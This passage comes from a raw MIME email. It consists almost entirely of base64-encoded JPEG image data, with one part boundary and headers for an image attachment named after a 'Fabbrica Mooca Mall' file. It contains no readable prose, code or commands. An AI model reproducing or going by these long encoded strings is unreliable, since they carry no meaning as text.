3RivLyS3O/nfEQPz7VHdaHFpyeZFfBgxyu1wENaqaauLlZzDu6g7ojCSM4KAj8PSnQzXJIICSbc4 Dc8Vv2ugalqbA2GnO/HGJQc+9aj6L4u0dCyeFZH2jljg49+BSdRdxcrOdiuLyYhC1rGemTHjP6Vs aZocc6+ffaysC7sELn+lZ8t/4jku1ebw/JGEABQQsc+/TpT55PEUqeSNEVFkb5WFuyn+dTzp6XHy 9jamHg7TZPPbVmvHAPyM7Alv6CmXPxEsoIDBp+i2pQDCs6qxB/GqFn8MvFmsSLMNMxkYBb5efXP9 K1j8B/FtqomnGIWBJdU3YPuKacLWuSubqe6fsWahLqup+Jr+ZVV5VTIVdo4CAcfQUVL+xtpEmha1 4p0qZtzwLHk+uQjf1orJ7m62PrI3WsqECafCSeW3XGCpPb7pz9avWMGo3bs8xt4IwN0jliwT26c/ SuJ+Mtn8ZvDOqR23w3h8OXFq33m1eOV5PwMcsY/SuKuPEP7VV3FHA+m/D+OGMf6qO2uQpb+8f9Ky T+NeMsHW6nY6sOh7TcXgu18mILHaocbBwWbPVs9c+nalVyrgxpnBAwDznpXhx1L9qEqVGleAACc8 W9z/APJVSQaz+1NbuJItM8ABh0b7Nc5H/k1T+p1epPtYnut1L/Z8Qt4LpY784Mj4BECHt/vHp7Ak 1UaSE7RHL04AVj+deKnWf2ozn/iU/D7k5J+y3HJ/8CqF1r9qZRtGmeAAPa1uB/7c1osJUSJc4tns 01zYxsFlvNpcEDL46dakk1BLh4zJIz7E2rzwq+wHSvF7jXP2o7qaOWTRfh2PJTZGos7jCDvj/Sc5 PrTBrH7UwORpvgAD0FrcY/8ASmj6rUFzo9rS5jeZIYY90rnywNpBzj1qvqxtJzFaW07ssTbppY22 iZum3j+EV45BrP7U9ukoi07wCGlG0yfZrjcBnkA/aePr1qL+0P2oe2meAR9La4/+Saf1WoHOj1eb ToLlgJ4zIUGB85HAHByKuW2nWGlWSX72YkuZsrZRhj97HzSHnoB09TXj0epftRo+86b4BYZBKm2u MHH0uamn139qe4u5LyTTPh+HcBQFtrkKijoqj7VwB19eapYeoiXJHq8cM0cSW6wlQASxYgZOc8++ anghEs8QuGMdvuCu6NkqO/Hc142dT/ajwANN8AjAx/x7XH/yTSNqf7UzdLHwGPpbT9f/AAJpfVqm 5XPE9enE1/rM2qXMdvEmwW9vGr/6qBD8oIHfkk+5NSLG5Tc8kJZichgcba8aF7+1IG3fY/AvJJI+ zT8n/wACant9Y/akt5lm/svwBIVIIV7a5I4/7eqf1eoyeZHr11FdWV59gngjJWFZSQAQpb+E++KE kRVYhy3zDBVeK8cn1H9qW5mluJ7LwI7zSGRibe46nt/x89B2pFvv2olORp/gPg5A+z3H/wAk0fV6 mwKS6ntcV6uk6XPr624laE+VDkhR5zAhSO5x1/CuTEJhiWSWYeYxLyEcbmPUnPWvP9SvP2oNUitI LjTvAixWYfbHHBcqrs2Ms3+k8kYGOmOfU1Xdf2mHG06X4DAPUC3uMH/yZqlQqLoLmR6tp9g17exw I5BfGCOw7k/hmpFvtP1e4uruFSsSv9mt8vtxDGMKQD0zgn8a8k2ftNht6WXghG27QViuQQOn/PzS JH+05GnlpZ+CAmd23ybjGf8AwJp+xqdh8yPXylmjr+7GCQSAS38jSTX1rNbf2f5aBbWUzMi53GQg qN3PIAJ/E15Os37UCncLLwNyMH9xcf8AyTUciftMvdNeLpvgOOR4o4SUtpx8iDAH/Hzn3NS8PU6F KcbHqEl1AVKSShMYAxwR/hS3V5p6aTqE6NGswiWOJnQr+8kcIpJx/CWz9BXl4H7TWwo2m+BCCc82 8/8A8k0k6/tOT6bc6X9h8DRxXbRmVkgnDEIdwXJucAZ56Z460lh6nVD9pGx6ZAzPbqjyglgN4AAO MfSkexjxhEVCyYYBiM/j2ry9Lb9ppF2iz8EHjHME/wD8kVIE/acBz9j8DnkHmCft/wBvFS8LUbD2 kT0mxEOo6lrN3pksT26X8tkyhmO1oGMTKS3PBjxwccYq68BdmDqkZYAKwyeleS6Va/tMaPby21rZ eCGWW7ubwl4bgkPNK0jji5HG5zjvjuauLd/tPqBjTPARI6k21xk/+TNL6tV7IOeB6Rc2rSw6bJC5 E9lc3MrkKQvlusQxn/gBqZ4t0e8OFGcAEEjHr7V5qdR/ajJAGneAgndBbT4b6/6TmoBN+0/klrDw KxPXMFx/8k0nharKVSKPTEt1uHlKSBXSN5gNpG4IpZhknGcCoYLyAxLLEZgHAJBAUDvnJPNedm5/ aeWCeGHTfAcRnikiMgt7hmUOhQkbrkjOD3BGe3as+y039pmzgSFoPBVwUBHmS28oY+5CzhfyFV9W qpWF7SNz02fVVs0ZYTMM5fcZBlj+VZ09zP8A27qAlnyRcecirk4jkUOgJ7nYy5I4rhH039pOQ5fT /A5P/XCf/wCSKetn+0wuoS6l9i8EGSVIYyrQTsoWKMIuAbjjgDPvTWGqpWF7SJ6AXEMhYFlOOoPG KuXk15eaZpm6KKeG0vHhd2Yh1WZflAx1ywI5rzdov2m2ChrHwKQpyB9mmH/txSlf2njG0LWngcxs QxT7PPtJByD/AMfHahYeqtwdSPQ7G6SNmKSW8gAbaQWx+P0rPv0guLSXTfLEMc0iEunzMxRgy/eJ 449u9c6Y/wBp4ksbXwRuPf7PNn/0ooig/aWjnSdtK8BSlG3bZbWdlPPQg3GCKtYeaGqkbanR/Y2e BClo0mxeGePeCffjFYt1o91eDbNaBA3LBIgoOO3PrWHZ+G/2jrC3Npa23g1Ic5CCKbAHoP8ASOlL J4c/aPlbc9t4N6YH7mbj/wAj0OhU6InniGoeBtHfxBqGiXd89ysRWWBmA3rHIodVJAwSAxHHoO9Q r8HfBQbzpLFpHLfLyc/55qxeeHv2jr6KziubLwUxsAVhfyJgwUsW2k/aORkmoR4V/aOByYfB5/7Z TD+U9L2NZPRj54CXXw78HaZpUd5baTN9ptJQk5jjLo0cjYRmIBIwwx09M4xVm1sLGwH+j6a28n5i Y9oB9DkCo4vDf7RsZmzaeDHW4ieGVGhmwysO+LgdCAR2yO9Vk8G/tECMJJb+D5cALueKbPH0nq/Z VGrNCcoGjeJZ3en3NtPaSCRI/NgwAuJVxgE5OAwyp9vpVZtG8KTwEanbzSzlMkJGuG7nrUTeEP2h nBEtj4McHsYp+PyuKZ/whPx+yM6T4IIH8JhnIP8A5MUexqCvEjj0TwEiK1n4feUMuSZNuMY+nWrU Xh/wvFfQx3mlQKlxGWhkRxtIzjacrgMDwR9DUMfgr9oGKTzItN8EKOcr9nlKknvzP1pbvwb+0Ne2 f2Gaz8HCJWMiCOKZCjkY3grcDnHrkUexqC5omg/h/QY2JXSIiF+UZ6Y/Korvwvot3LJrWk6PAk8K AXVtFHnz4gOZAeu4Ht+PrVE+Cv2imTY8fhJhjBzFL/8AH6dbeDf2irRkkhh8IB0IIYwyk/Qjz8EH pg9qn2VZMvmhYRodAkWJYtOiUkAxhlOSCB1H09ao3nhjQb2HL28ESq6lZGj+5JnGCDxtIGD6dRzU kXw4+PduWEFh4NRCSRH5MpVR6DM5wP1pzfDv48MSz6V4IYlQuTbScAdP+W9V7GYlOPUj0zR9Akka BdOsEuIiY2Vdh2sM+hx9KvS6PaSWvkWvk4ddrkyR9c5xjPSqn/Cu/j4G3JYeDFP+zbyD8f8AXUN8 O/j62ALLwcuPSGX/AOP0exqble0haxQ1nwVqOpS7obqzhUZ2rsjHyjjrUFt8O7+0Rjd6xEqJydpi wP0rei8EftCRQyW5s/Brxyg5VopsA/3h+/61APh9+0EEMZg8IkHrmKXn/wAjUvY1SeaBwHifwla2 Vq0sGoyOd2JoY8MzA5y64HA4GR759a87GlaOZ22wX8g3ZyVJHWvoEfDn4+h1kFp4PDKcgiGT/wCP VE3ww+O/2h7iKw8Gwh+THHbuEz6gedwT+VaQjUj0JbizyHTfDuhTqoisbtJmIYsUIGe+T6GultPh 1BdoYPsxilVMsjudwH5dK70fDj4/KGCW3g9dxBJFu+fpzNTm+Hn7Qbqokj8Js6YCSeVIGQdwCJhw f6VLp1W7gnC2p5zP8HNI84S3l5Gm0bS25mK56gDHWs2H4ReH4pGzrBn+bajAN849cdq9Xm+HHx7u Dmax8HucEZMU3Of+29EHwz+NtuQyaB4ILLyGKXOc/wDgTTUKqW4nydDzZ/gfZzRboZwARkAoQVFc 1rfwZ/s1DM88skSffESfd9+eor32Pwf+0BGCBpHgc8YG6Gc4/wDJiorjwV+0HcgCXT/BJwMD/RZO P/I1NKsP3D5in8D2EJYteHy92CXHP0oj8F2Ug3Q6sGbndmJjk+1fQMnwY+M8ly90dJ8Gh5GLPiGT a2e2DNgfhirVv8KPjbbHMWjeCeOgNvJgf+R6tuqT7p82S+ELtW8u3SdnIyMR5yOuaE8F+JHUx/Yr gI3XMZ/MV9N3Hw2+O100TzaV4K3wtuiZYJVKHBGRif3p3/Cvv2gmjEc0HhGbaAA0kMhOP+/1CdVd BtQa3PlibwbqkLBha3BXIUgxEc+ldZ4a+EGtag63Bgntw/OXj25/PrXusvwx+O02S2neDAc5yLeT P/o6o3+F/wC0G6GNZvDKKTnCRMMf+RaHKu9ESow6nn8f7PN2YjLNqOwkEksiisfVvgs1rA8tpr8U iovzA7QQfp3r0uX4OftBzDEmr6KeePvDH5SVTuPgL8crlg899ojMO5Zyf/RtEVUW7G1C1keEz+Et WtrhYGnEyBhg7iDjPbA5rrPDHhppNgv9ILZOQ0jMM16jB8DvjhCQc+G3IwAXRz/7Vq03wf8Ajs0f lMvhcpnJHlvz/wCRaqXOyIxSd2cmnw28H3qrHPpslsSRgxtkDnuD1/Cq938MPB1nC0txBOrgYRk2 sGGeOc8Guwb4M/HZgF8zw5hegxJ/8drO1L9nz406o6vcTaGuwEARySqP/R1Qo1OrNHy9DzLVtHhs 5nisLbzl7LlfmGO+RisqD4Z69r86zf2M8ERIzyCMfjXsFn+zv8YbO5+0iPw5McABZQ7Dj/trnn61 1Nr8Pf2gLJRHa2vg5EHG028jA/nMa1cqiVomajHqeZ+HPgVpUCLJqtjK4YEgeaoGfyr0DSfAPhPS E8y20SR41UF0E+1mYcnHHQ/1rTfwV+0W5UpH4OjC9ktWAP4ebVhPDP7SMbB44fBasMYItG4Pr/rq wlGrLctKKLix6HGiwtpJiPB8t52yeO3Sq93bQG4L2AS246Jls85+bPt6VS1HwZ+0lq7IdSuPC04Q 5VTC6gHGM/LKO1QR/D79oWMEbfCjA4ABik4x6fvqh0Z9ClM2okdhGjW2Xk4ZoyRz9P6UTeGnnuku JLOSOVF2kx8DHuDWYfBH7Q+QVh8IrgkgiOYHP/f+oh4B/aIWUyxnwshP3gFmIbjuDOaToVOg+ZPc uar4espYib/Ry8S8PIiEEZxyy/4ViXHwf0K62XjaO0sbdMyfIvocE960j4G/aIYKGTwmdueTHKSf /I9KvgX9oVU8sQeECvoYpf8A4/TVGr3J90ZYeBbTTysNtpS27gZUAqR9Aa0W0sXYOnTyRFlTKoZ1 VgO/Q1nP4B/aDdsmDwj9BFLj/wBH1HL8OPj5MCZLLwfuIA3CGUMAPcT0exqA3HoWE8MSxSK0CW8s XI2zzD9COfzpiwWc0H2a6sDGuSjI6jGfTJyD61FF8PP2h4gQr+FjxgZjk+Ue376lPw9/aFZi0n/C Kvk5w0cpA/8AI1P2UxXQg0a3t41Wxn8gjgL95c/Sle7eE7LyNIsfcl3fIfb2NRp8Nv2gI5N8cfhR V5+Ty5Sv6zZFSL8Ov2gCvlmHwntJz/q5f/j9NUp9RO3Qu/AR4T8U/HZhmjddtqdyHjPkQZ/Wiu0/ Z/8Agb4z0nxF4j8T+JpbFbrV1iDJaHES7ERBgFmI4QZyepNFdK0VhH//2Q== ------=_NextPart_000_00C3_01CEF723.E27A6070 Content-Type: image/jpeg; name="FABBRICA_MOOCA_MALL%20-%20002[1].jpg" Content-Transfer-Encoding: base64 Content-ID: <33FCFAE00E9749FCA52B5EDDA60F25C6@ROBERTOAZEVEDO> /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkI CQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQ EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAHkAoEDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD6r8DR yxzeJ2kfcZtVkfk9PlUfyArsZH8uB5PLLCNCxC9TgZ4/KuZ8K6xqWrf27FqsNujWN89vC0Ee3zYg AQzcnJ5ArpGaNYmkZsIilmJ6Adya8N/EerHZFPSdWt9Y0ePWIre5hhljL7LmHZIoBI+Zfwohv7O6 YJD5oP8AtROg/UVNHdWN9Ym6t72KaCVSRJHICjDB5BHFP8/dGFSbfHxyCD9OlFimz5H+JFrDc+MN Uhm+6bhj+OeK7P4VwrD4cSFUOBPJ157iuL+Jtst34t1WPzjHi4Y7h1612Xwmga38OrD5jHbcSfMx 5bkVtL+HoyVZM2Pita/aPBvkK+xnuYvn7jk1J8DbG5tdJ1m3uro3LShNjOTwOfXmk+KnmN4LIhYe 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 